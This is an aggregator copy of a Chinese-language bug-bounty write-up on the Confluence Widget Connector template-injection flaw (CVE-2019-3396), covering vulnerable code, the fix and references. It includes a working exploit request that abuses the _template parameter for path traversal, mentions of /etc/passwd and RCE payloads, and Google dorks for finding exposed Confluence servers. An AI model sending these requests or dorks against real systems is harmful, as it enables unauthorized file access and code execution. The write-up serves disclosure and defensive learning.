20

揭秘使用Confluence未授权RCE漏洞在6小时内黑掉50+公司

 4 years ago
source link: https://www.freebuf.com/articles/web/202492.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

长话短说,其实早在2016年我就创建了我的Hackerone/Bugcrowd profiles,但我从未在那里报告过任何的漏洞。这是第一个让我觉得值得报告的漏洞,也打破了我多年来零报告的记录。

安全公告

Confluence官方发布安全更新指出,Confluence Server与Confluence Data Center中的Widget Connector存在 服务端模板注入漏洞 ,攻击者能利用此漏洞能够实现目录穿越遍历甚至 远程代码执行

Widget Connector为何易受攻击?

Widget Connector宏帮助你在提供URL时将在线视频,幻灯片,照片流等更直接地嵌入到页面中。

该宏旨在支持来自以下网站的内容:YouTube, Vimeo, MySpace Video, Flickr, Twitter, Slide Rocket, Google Calendar等

漏洞示例代码

Widget Connector已定义了一些渲染,如,FriendFeedRenderer:

public class FriendFeedRenderer implements WidgetRenderer
{
...
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm");
return this.velocityRenderService.render(getEmbedUrl(url), params);
}
}

因此,在这种情况下,攻击者可以提供_template值,后端将使用params进行渲染。

2ai2m2f.jpg!web

过程重现

在burp中捕获易受攻击confluence页面的请求(让它成为GET或POST)并将其发送到Repeater。

修改捕获的请求,如下所示并解析请求。

注意:你可能需要更改请求的路径并添加“Referer:”标头,因为在我测试当中大多数情况下都强制要求添加该标头,因此如果你不添加的话可能会引发“ XSRF check failed ”的错误提示。

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: confluence.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en-GB;q=0.8,ach;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://confluence.victim.com/
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Upgrade-Insecure-Requests: 1
Content-Length: 163
Connection: close
{"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www.youtube.com/watch?v=2aK8hy50fS4","width":"1000","height":"1000","_template":"../web.xml"},"body":""}}

你可以使用file:///etc/passwd( 路径遍历payloads )或 远程执行代码 来进一步证明漏洞的危害程度,而不是简单的../web.xml。

36v6Fnj.jpg!web

修复

修复版 中,它将在渲染html之前调用doSanitizeParameters,这将删除参数中的_template。

Google Dork

uMZF7jb.jpg!web

让我们尝试通过Google Dork搜索语法来查找可能存在相同问题的站点。

我使用的搜索语法是“intitle:dashboard-confluence”,并找到了大约100个Confluence链接,其中大约有21个链接易受攻击。

在看到上面的dork结果后,我意识到Confluence链接不一定就是confluence.companyname.com。

所以我在Google的dorks/keywords下面尝试了一下,它给了我大约300多个Confluence链接,其中50多家公司易受到攻击。

inurl: http://confluence. login.action

inurl: https://wiki. .com/confluence/

allinurl: /confluence/login.action?

“/spacedirectory/view.action”

“/pages/viewpage.action?”

“/pages/releaseview.action?”

“aboutconfluencepage.action”

虽然我还没有针对任何具有赏金计划的网站,但我依然收到了许多来自不同公司的美元或欧元的奖金,其他公司则表示他们会向我发送swag以示感谢。

JRrQB3R.jpg!web

最后,希望大家可以关注我的Twitter以获取我更多的内容更新 – @thevikivigi

参考文献

https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/

https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html

*参考来源: medium ,FB小编secist编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK